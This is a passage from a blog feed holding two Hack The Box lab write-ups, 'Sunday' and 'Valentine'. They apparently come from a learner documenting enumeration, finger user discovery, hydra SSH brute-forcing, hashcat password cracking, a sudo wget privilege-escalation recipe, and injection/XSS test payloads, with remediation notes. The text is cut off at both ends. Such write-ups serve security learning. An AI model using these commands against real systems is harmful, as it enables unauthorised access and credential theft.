x20\<br>SF:x20\x20Name\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<br>SF:TTY\x20\x20\x20\x20\x20\x20\x20\x20\x20Idle\x20\x20\x20\x20When\x20\x20<br>SF:\x20\x20Where\r\n\x03\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x<br>SF:20\x20\x20\x20\x20\x20\x20\x20\x20\?\?\?\r\n&quot;);<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete<br>Aggressive OS guesses: Oracle Solaris 10 (94%), Oracle Solaris 11 (94%), Oracle Solaris 11 or OpenIndiana (93%), Sun Solaris 11.3 (93%), OpenIndiana oi_147 - oi_148 (91%), Nexenta OS 3.0 - 3.1.2 (OpenSolaris snv_130 - snv_134f) (91%), Sun Solaris 11 (snv_151a) or OpenIndiana oi_147 (91%), Sun Solaris 11 (snv_151a) or OpenIndiana oi_147 - oi_151a (91%), Sun OpenSolaris snv_129 (91%), Sun Solaris 11 (90%)<br>No exact OS matches for host (test conditions non-ideal).<br>TCP/IP fingerprint:<br>SCAN(V=7.94%E=4%D=9/26%OT=79%CT=%CU=38830%PV=Y%DS=2%DC=I%G=N%TM=65130E04%P=x86_64-pc-linux-gnu)<br>SEQ(SP=104%GCD=1%ISR=109%CI=I%II=I%TS=7)<br>OPS(O1=ST11M53CNW2%O2=ST11M53CNW2%O3=NNT11M53CNW2%O4=ST11M53CNW2%O5=ST11M53CNW2%O6=ST11M53C)<br>WIN(W1=FA4C%W2=FA4C%W3=FA38%W4=FA3B%W5=FA3B%W6=FFF7)<br>ECN(R=Y%DF=Y%T=3C%W=FB40%O=M53CNNSNW2%CC=Y%Q=)<br>T1(R=Y%DF=Y%T=3C%S=O%A=S+%F=AS%RD=0%Q=)<br>T2(R=N)<br>T3(R=Y%DF=Y%T=3C%W=FA09%S=O%A=S+%F=AS%O=ST11M53CNW2%RD=0%Q=)<br>T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)<br>T5(R=Y%DF=N%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)<br>T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)<br>U1(R=Y%DF=N%T=FF%IPL=70%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)<br>IE(R=Y%DFI=Y%T=FF%CD=S)<br><br>...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*rCn-UmSvwq4XGkHBCW7IJw.png" /><figcaption>Port 79: finger</figcaption></figure><p>Nmap found that it is a Oracle Solaris 10. It seems that all of them are consists of table with column name Login, Name, TTY, Idle, When, and Where.</p><p>Searching for a while in google, found <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-finger">hacktricks</a> website about finger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*DVhndFTc1LqyXIsziHyjLw.png" /><figcaption>Using root as input</figcaption></figure><h3>Foothold</h3><p>So that’s how to enumerate this finger service. There is a program named “finger” in kali linux that I can use for enumeration.</p><pre>Command: finger admin@sunday.htb<br>Result:<br>Login       Name               TTY         Idle    When    Where<br>adm      Admin                              &lt; .  .  .  . &gt;<br>dladm    Datalink Admin                     &lt; .  .  .  . &gt;<br>netadm   Network Admin                      &lt; .  .  .  . &gt;<br>netcfg   Network Configuratio               &lt; .  .  .  . &gt;<br>dhcpserv DHCP Configuration A               &lt; .  .  .  . &gt;<br>ikeuser  IKE Admin                          &lt; .  .  .  . &gt;<br>lp       Line Printer Admin                 &lt; .  .  .  . &gt;<br><br>Command: finger user@sunday.htb<br>Result:<br>Login       Name               TTY         Idle    When    Where<br>aiuser   AI User                            &lt; .  .  .  . &gt;<br>openldap OpenLDAP User                      &lt; .  .  .  . &gt;<br>nobody   NFS Anonymous Access               &lt; .  .  .  . &gt;<br>noaccess No Access User                     &lt; .  .  .  . &gt;<br>nobody4  SunOS 4.x NFS Anonym               &lt; .  .  .  . &gt;</pre><p>After searching for more information, I found this <a href="https://medium.com/@minimalist.ascent/hacking-fingerd-and-rlogin-on-solaris-10-682a945fc187">article</a>. So, I try to use hydra using username.txt with username from above and rockyou as password, attacking port 515. That port is being attacked because it is a printer service and from finger we found “lp” which is Line Printer Admin. Default port for rlogin is 513, meanwhile nmap didn’t found it.</p><pre>Command: hydra -L username.txt -P /usr/share/wordlists/rockyou.txt rlogin://sunday.htb:515<br>Result:<br>(Spoiler) None</pre><p>While enumerating for the this, I try to see if there are any SSL Heartbleed vulnerability. Turns out there is no Heartbleed vulnerability.</p><pre>Command: nmap --script=ssl-heartbleed.nse -v -sV -p 6787 10.10.10.76<br>Result:<br>None</pre><p>With nothing in mind, now I try to use <a href="https://pentestmonkey.net/tools/user-enumeration/finger-user-enum">finger-user-enum</a>.</p><pre>Command: ./finger-user-enum.pl -U /usr/share/wordlists/rockyou.txt -t 10.10.10.76 -p 79<br>Result:<br>Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )<br><br> ----------------------------------------------------------<br>|                   Scan Information                       |<br> ----------------------------------------------------------<br><br>Worker Processes ......... 5<br>Usernames file ........... /usr/share/wordlists/rockyou.txt<br>Target count ............. 1<br>Username count ........... 14344391<br>Target TCP port .......... 79<br>Query timeout ............ 5 secs<br>Relay Server ............. Not used<br><br>######## Scan started #########<br>789456@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..<br>7777777@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..<br>789456123@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                       <br>777777@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                          <br>sammy@10.10.10.76: sammy           ???            ssh          &lt;Apr 13, 2022&gt; 10.10.14.13         ..  <br>741852963@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                       <br>741852@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                          <br>753951@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                          <br>7654321@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                         <br>77777@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                           <br>rock you@10.10.10.76: Login       Name               TTY         Idle    When    Where..rock                  ???..you                   ???..                                                              <br>789789@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                          <br>778899@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                          <br>sunny@10.10.10.76: sunny           ???            ssh          &lt;Apr 13, 2022&gt; 10.10.14.13         ..  <br>7894561230@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                      <br>i love you@10.10.10.76: Login       Name               TTY         Idle    When    Where..i                     ???..love                  ???..you                   ???..                                 <br>unknown@10.10.10.76: unknown  Unknown Remote UID                 &lt; .  .  .  . &gt;..                     <br>753159@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                          <br>789123@10.10.10.76: Login       Name               TTY         Idle    When    Where..pkg5srv  pkg(7) server UID                  &lt; .  .  .  . &gt;..                                                          <br>te amo@10.10.10.76: Login       Name               TTY         Idle    When    Wher</pre><p>From all of items above, there are only two unique items, sammy@10.10.10.76: sammy and sunny@10.10.10.76:sunny.</p><p>I put sammy and sunny into username.txt and run the hydra again with the rockyou wordlist for password. There might be a possibility that the password can be used for solaris too.</p><pre>Result:<br>[DATA] attacking ssh://10.10.10.76:22022/<br>[22022][ssh] host: 10.10.10.76   login: sunny   password: sunday</pre><p>The password is surprisingly simple.</p><pre>Command: ssh sunny@10.10.10.76 -p 22022</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*8Teh97AQrESSdok1CwWQqA.png" /><figcaption>User flag in sammy</figcaption></figure><h3>Lateral Movement (?)</h3><p>User.txt inside sammy. I might have to login to sammy in order to get into root. Searching for root privileged file that can be executed by sunny.</p><pre>Command: find / -perm -u=s -type f 2&gt;/dev/null<br>Result:<br>/usr/lib/ssh/ssh-keysign<br>/usr/lib/inet/mailq<br>/usr/lib/acct/accton<br>/usr/lib/fs/ufs/ufsrestore<br>/usr/lib/fs/ufs/ufsdump<br>/usr/lib/fs/smbfs/umount<br>/usr/lib/fs/smbfs/mount<br>/usr/lib/vmware-tools/bin/i86/vmware-user-suid-wrapper<br>/usr/lib/utmp_update<br>/usr/bin/uptime<br>/usr/bin/atrm<br>/usr/bin/passwd<br>/usr/bin/rcp<br>/usr/bin/chkey<br>/usr/bin/rmformat<br>/usr/bin/pfedit<br>/usr/bin/atq<br>/usr/bin/w<br>/usr/bin/cdrw<br>/usr/bin/crontab<br>/usr/bin/sys-suspend<br>/usr/bin/rlogin<br>/usr/bin/newgrp<br>/usr/bin/at<br>/usr/bin/su<br>/usr/bin/newtask<br>/usr/bin/sudo<br>/usr/bin/rsh<br>/usr/xpg4/bin/crontab<br>/usr/xpg4/bin/at<br>/usr/xpg6/bin/crontab<br>/usr/sbin/quota<br>/usr/sbin/fmdump<br>/usr/sbin/ping<br>/usr/sbin/traceroute<br>/usr/sbin/smbadm<br>/usr/sbin/whodo</pre><p>Searching for what sunny can run using sudo that can be executed by sunny.</p><pre>Command: sudo -l<br>Result:<br>User sunny may run the following commands on sunday:                                                  <br>    (root) NOPASSWD: /root/troll<br><br>Command: sudo /root/troll<br>Result:<br>testing                                                                                               <br>uid=0(root) gid=0(root)<br><br>Command: uname -a<br>Result:<br>SunOS sunday 5.11 11.4.0.15.0 i86pc i386 i86pc</pre><p>Transfer from pspy32 to SunOS and got the process killed after run it. Then I use linpeas but got this error of illegal option from grep.</p><p>After enumerating for a while, I found /backup directory in the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*4xfFJsf7NxDwTvx_fnuoSg.png" /><figcaption>Shadow backup</figcaption></figure><p>I try to crack it with hashcat. $5$ is a prefix to identify sha256-crypt hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*8RFVl_ClUrMAT2jYCpKIDA.png" /><figcaption>Hashcat mode for $5$</figcaption></figure><pre>Command: hashcat -m 7400 creds.txt /usr/share/wordlists/rockyou.txt<br><br>To show the result, use --show<br>Command: hashcat -m 7400 creds.txt /usr/share/wordlists/rockyou.txt --show<br>Result:<br>$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*SIIdffb26TnQ__v4ah-O5w.png" /><figcaption>Successful to login</figcaption></figure><h3>Privilege Escalation</h3><p>I do enumeration using commands.</p><pre>Command: sudo -l<br>Result:<br>User sammy may run the following commands on sunday:<br>    (ALL) ALL<br>    (root) NOPASSWD: /usr/bin/wget</pre><p>Searching in <a href="https://gtfobins.github.io/gtfobins/wget/">gtfobins</a> and find wget privesc method.</p><pre>Commands:<br>TF=$(mktemp) =&gt; makes &quot;pointer&quot; to the executed command inside parentheses<br>chmod +x $TF =&gt; make it executable<br>echo -e &#39;#!/bin/sh\n/bin/sh 1&gt;&amp;0&#39; &gt;$TF =&gt; input the string to temp file, which means stdin&gt;&amp;stdout where stdin attached into stdout so it can receive input (CMIIW)<br>sudo wget --use-askpass=$TF 0 =&gt; to specify the command that wget use if askpass is (when using sudo, the wget might ask password and execute the $TF)used</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*AaZpKKNjrC4eiRagD16Wcg.png" /><figcaption>Privesc</figcaption></figure><h3>Summary</h3><p>There are several vulnerabilities here such as:</p><ul><li>Weak credentials (password for sunny and crackable for sammy).</li><li>Opened port that can be accessed (finger, printer, etc).</li><li>Weak file permission.</li></ul><p>Remediation that I might suggest is:</p><ul><li>Use stronger credentials.</li><li>Close unnecessary ports.</li><li>Implement least privilege principle, especially file’s permission.</li></ul><p>What didn’t work for me is:</p><ul><li>Using CVE to privesc.</li><li>Injection in login site.</li><li>Searching and using exploit from searchsploit, exploitdb, etc based on version.</li><li>Directory busting.</li><li>Pspy and linpeas.</li></ul><p>What can I improve is:</p><ul><li>Exploring other services/ports.</li><li>There might be several ways to privesc.</li></ul><p>What I learnt from this box is:</p><ul><li>Brute force might work because there are many person using common credentials (even when someone said that if you brute forcing, then there are missing information)</li><li>Finger enumeration using finger-user-enum.pl resulting in logged on user and showing username.</li></ul><p>There are possibilities that this machine have several vulnerabilities even ways for privesc. Please let me know if there are any recommendation, critics, or something that I might miss in this box. That’s all folks. Thanks for reading.</p><p><a href="https://www.hackthebox.com/achievement/machine/420156/136">https://www.hackthebox.com/achievement/machine/420156/136</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0a443adff63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Valentine HTB Writeup]]></title>
            <link>https://geranard.medium.com/valentine-htb-writeup-69c86d1de55d?source=rss-18216447fa9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/69c86d1de55d</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Geranard]]></dc:creator>
            <pubDate>Sat, 23 Sep 2023 12:41:09 GMT</pubDate>
            <atom:updated>2023-09-23T12:41:09.733Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone. On this opportunity, I want to share a writeup about retired box from HTB with easy difficulty named valentine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cbqi0lsj-y5nIAi8O24gkQ.png" /><figcaption>HTB Valentine information card</figcaption></figure><h3>Enumeration</h3><p>rustscan and nmap goes first.</p><pre>nmap<br>Command: nmap -A -p- -T4 -Pn -vv -oN nmap-report-tcp.txt 10.10.10.79<br>Result:<br>Nmap scan report for 10.10.10.79<br>Host is up, received user-set (0.31s latency).<br>Not shown: 65532 closed tcp ports (conn-refused)<br>PORT    STATE SERVICE  REASON  VERSION<br>22/tcp  open  ssh      syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   ...<br>80/tcp  open  http     syn-ack Apache httpd 2.2.22 ((Ubuntu))<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>|_http-server-header: Apache/2.2.22 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: HEAD POST<br>443/tcp open  ssl/http syn-ack Apache httpd 2.2.22 ((Ubuntu))<br>|_ssl-date: 2023-09-21T14:53:26+00:00; 0s from scanner time.<br>| http-methods: <br>|_  Supported Methods: POST<br>|_http-server-header: Apache/2.2.22 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US<br>| Issuer: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha1WithRSAEncryption<br>| Not valid before: 2018-02-06T00:45:25<br>| Not valid after:  2019-02-06T00:45:25<br>| MD5:   a413:c4f0:b145:2154:fb54:b2de:c7a9:809d<br>| SHA-1: 2303:80da:60e7:bde7:2ba6:76dd:5214:3c3c:6f53:01b1<br>| -----BEGIN CERTIFICATE-----<br>|...<br>|_-----END CERTIFICATE-----<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_clock-skew: 0s<br><br><br>rustscan:<br>Command: rustscan -a 10.10.10.79 -r 1-65535 --ulimit 5000 -- -A<br>Result:<br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: http://discord.skerritt.blog           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Nmap? More like slowmap.🐢<br><br>[~] Automatically increasing ulimit value to 5000.<br>Open 10.10.10.79:22<br>Open 10.10.10.79:80<br>Open 10.10.10.79:443<br>[~] Starting Script(s)<br>[&gt;] Running script &quot;nmap -vvv -p {{port}} {{ip}} -A&quot; on ip 10.10.10.79<br>Depending on the complexity of the script, results may take some time to appear.<br>[~] Starting Nmap 7.94 ( https://nmap.org )<br><br>PORT    STATE SERVICE  REASON  VERSION<br>22/tcp  open  ssh      syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)<br>| ssh-dss AAAAB3NzaC1kc3MAAACBAIMeSqrDdAOhxf7P1IDtdRqun0pO9pmUi+474hX6LHkDgC9dzcvEGyMB/cuuCCjfXn6QDd1n16dSE2zeKKjYT9RVCXJqfYvz/ROm82p0JasEdg1z6QHTeAv70XX6cVQAjAMQoUUdF7WWKWjQuAknb4uowunpQ0yGvy72rbFkSTmlAAAAFQDwWVA5vTpfj5pUCUNFyvnhy3TdcQAAAIBFqVHk74mIT3PWKSpWcZvllKCGg5rGCCE5B3jRWEbRo8CPRkwyPdi/hSaoiQYhvCIkA2CWFuAeedsZE6zMFVFVSsHxeMe55aCQclfMH4iuUZWrg0y5QREuRbGFM6DATJJFkg+PXG/OsLsba/BP8UfcuPM+WGWKxjuaoJt6jeD8iQAAAIBg9rgf8NoRfGqzi+3ndUCo9/m+T18pn+ORbCKdFGq8Ecs4QLeaXPMRIpCol11n6va090EISDPetHcaMaMcYOsFqO841K0O90BV8DhyU4JYBjcpslT+A2X+ahj2QJVGqZJSlusNAQ9vplWxofFONa+IUSGl1UsGjY0QGsA5l5ohfQ==<br>|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRkMHjbGnQ7uoYx7HPJoW9Up+q0NriI5g5xAs1+0gYBVtBqPxi86gPtXbMHGSrpTiX854nsOPWA8UgfBOSZ2TgWeFvmcnRfUKJG9GR8sdIUvhKxq6ZOtUePereKr0bvFwMSl8Qtmo+KcRWvuxKS64RgUem2TVIWqStLJoPxt8iDPPM7929EoovpooSjwPfqvEhRMtq+KKlqU6PrJD6HshGdjLjABYY1ljfKakgBfWic+Y0KWKa9qdeBF09S7WlaUBWJ5SutKlNSwcRBBVbL4ZFcHijdlXCvfVwSVMkiqY7x4V4McsNpIzHyysZUADy8A6tbfSgopaeR2UN4QRgM1dX<br>|   256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)<br>|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+pCNI5Xv8P96CmyDi/EIvyL0LVZY2xAUJcA0G9rFdLJnIhjvmYuxoCQDsYl+LEiKQee5RRw9d+lgH3Fm5O9XI=<br>80/tcp  open  http     syn-ack Apache httpd 2.2.22 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-server-header: Apache/2.2.22 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>443/tcp open  ssl/http syn-ack Apache httpd 2.2.22 ((Ubuntu))<br>|_ssl-date: 2023-09-21T14:26:53+00:00; 0s from scanner time.<br>|_http-server-header: Apache/2.2.22 (Ubuntu)<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US<br>| Issuer: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha1WithRSAEncryption<br>| Not valid before: 2018-02-06T00:45:25<br>| Not valid after:  2019-02-06T00:45:25<br>| MD5:   a413:c4f0:b145:2154:fb54:b2de:c7a9:809d<br>| SHA-1: 2303:80da:60e7:bde7:2ba6:76dd:5214:3c3c:6f53:01b1<br>| -----BEGIN CERTIFICATE-----<br>| ...<br>|_-----END CERTIFICATE-----<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_clock-skew: 0s<br></pre><p>rustscan and nmap found that port 80, 443, and 22 open with name valentine.htb.</p><p>I go to /etc/hosts to add valentine.htb. Do a searching to see what is it about. HTTP and HTTPS have the same result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*FQ8cOT5aAIxj6ZhCuxowxg.png" /><figcaption>Content of valentine.htb</figcaption></figure><p>It uses Apache HTTP Server 2.2.22, PHP 5.3.10, and Ubuntu OS.</p><p>Because there is nothing left to be discovered, I use dirbuster and gobuster to do some directory busting and DNS busting. Might using feroxbuster for recursive gobuster, but I’ll stick to these first.</p><pre>Command: dirbuster<br>Target URL: http://valentine.htb:80<br>Number of Threads: 200<br>Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt<br>File extension: php,txt<br>Use blank extension: true</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*D-pYNCD8XSyjRI7EuON7Lg.png" /><figcaption>Dirbuster settings</figcaption></figure><pre>Command: gobuster dns -d &quot;valentine.htb&quot; -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100<br>Result:<br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Domain:     valentine.htb<br>[+] Threads:    100<br>[+] Timeout:    1s<br>[+] Wordlist:   /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt<br>===============================================================<br>Starting gobuster in DNS enumeration mode<br>===============================================================<br>Progress: 114441 / 114442 (100.00%)<br>===============================================================<br>Finished<br>===============================================================</pre><p>Gobuster found nothing, but dirbuster found interesting directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*80qufEFEY1hGp3IHgiLUPw.png" /><figcaption>Dirbuster result</figcaption></figure><p>Before enumerating one by one through the list of directories, I use nikto, in case there are interesting finding that I missed.</p><pre>Command: nikto -url http://valentine.htb<br>Result:<br>- Nikto v2.5.0<br>---------------------------------------------------------------------------<br>+ Target IP:          10.10.10.79<br>+ Target Hostname:    valentine.htb<br>+ Target Port:        80<br>---------------------------------------------------------------------------<br>+ Server: Apache/2.2.22 (Ubuntu)<br>+ /: Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.26.<br>+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options<br>+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/<br>+ /index: Uncommon header &#39;tcn&#39; found, with contents: list.<br>+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. The following alternatives for &#39;index&#39; were found: index.php. See: http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabilities/8275<br>+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.<br>+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.<br>+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184                               <br>+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184<br>+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184<br>+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184<br>+ /dev/: Directory indexing found.<br>+ /dev/: This might be interesting.<br>+ /icons/README: Server may leak inodes via ETags, header found with file /icons/README, inode: 121971, size: 5108, mtime: Tue Aug 28 17:48:10 2007. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418<br>+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/<br>+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.<br>+ 8769 requests: 0 error(s) and 16 item(s) reported on remote host<br>+ End Time:           2023-09-21 22:59:09 (GMT7) (2717 seconds)<br>---------------------------------------------------------------------------<br>+ 1 host(s) tested</pre><p>/index.php has similar content with before.</p><p>/cgi-bin is forbidden. Atleast it tells me that it uses Apache 2.2.22.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*ZgeK4k8eY2C00RVY1bigMw.png" /><figcaption>Content of /cgi-bin</figcaption></figure><p>Dirbuster finds /cgi-bin, reflecting from shocker HTB box that has vulnerability inside the directory by searching if there is any executable file by Common Gateway Interface (CGI), I decided to use gobuster to search for any file.</p><pre>Command: gobuster dir -u https://valentine.htb/cgi-bin -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -x sh,cgi,c,pl,py,rb -k -f<br>Result:<br>None</pre><p>/doc is forbidden too. Maybe I could use gobuster to see if there are any file laying around. Or maybe later, after searching directory on cgi-bin finished.</p><p>/icons/ have the same result.</p><p>/dev/ is interesting, there are two files, notes.txt and hype_key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*89xCNCslsJ6-zPXoaq7AOw.png" /><figcaption>Content of /dev/</figcaption></figure><p>It seems that notes.txt explains, encoder/decoder is broken.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*5-_V7bs95lg7zsCbdSF8lQ.png" /><figcaption>Content of notes.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*ZewIpMvr3VsfqMLKe0lnUQ.png" /><figcaption>Content of hype_key</figcaption></figure><p>I think this related to /decode.php and /encode.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*ZiJT8E0kwNwl2roBXpj-6g.png" /><figcaption>/encode.php</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*cDicbWupbp3TiwNofFpvVg.png" /><figcaption>/decode.php</figcaption></figure><p>If I might guess, this decodes hex to string and vice versa. After trying to decode it with /decode.php, it failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*2lW4LBS3Bv6Eh1GB1jgRRQ.png" /><figcaption>Results of decoding the hex</figcaption></figure><p>Trying with cyberchef, paste it into input, and use “from hex” recipe, I get the RSA Private Keys. My guess is this SSH key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xy-XsOnCRTiYkJ5D66Jf9g.png" /><figcaption>Results of decoding in cyberchef</figcaption></figure><p>So I stored it to file named hash_key in my machine. Now that I have to do is to find what is the username.</p><h3>Foothold</h3><p>Enumerating again, I find out that the encoder is encodes string to base64.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*4PQQ4Y9mDisipN3sEnJ1XA.png" /><figcaption>/encode.php functionality</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*aeEQv3ZNOetbqDBWiWg90w.png" /><figcaption>Decode from base64</figcaption></figure><p>The input field might be interesting for me to enumerate further, to see if there are any vulnerabilities inside it. But, it seems all of the input goes to base64 encoded or decoded string, might be a bit hard I guess. Here is the list of things that I try:</p><ul><li>Code Injection <br>Payload: &lt;?php phpinfo(); ?&gt;<br>Result: None<br>Reason: There might be mistake on input sanitation.</li><li>SQL Injection<br>Payload: ‘;# — <br>Result: None<br>Reason: There might be mistake on input sanitation and the server using DB. It’s a little unreasonable based on the enumeration, but won’t hurt to try.</li><li>Server Side Template Injection<br>Payload: {{7*’7&#39;}}<br>Result: None<br>Reason: There might be mistake on input sanitation and the server using template. I know it’s not some kind of PHP Twig, Python Jinja, etc. It’s a little unreasonable, but won’t hurt to try.</li><li>XSS Injection<br>Payload: &lt;script&gt;alert(1)&lt;/script&gt;<br>Result: It works<br>Reason: There might be mistake on input sanitation on the client side. Let’s see if I can use it to extract /etc/passwd file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/995/1*XwMShjvprD6BT8mT8eM7Cg.png" /></figure><p>This do gives me idea, what if I can inject through base64 and have it print the file. I’ll try later.</p><p>Payload:</p><pre>- 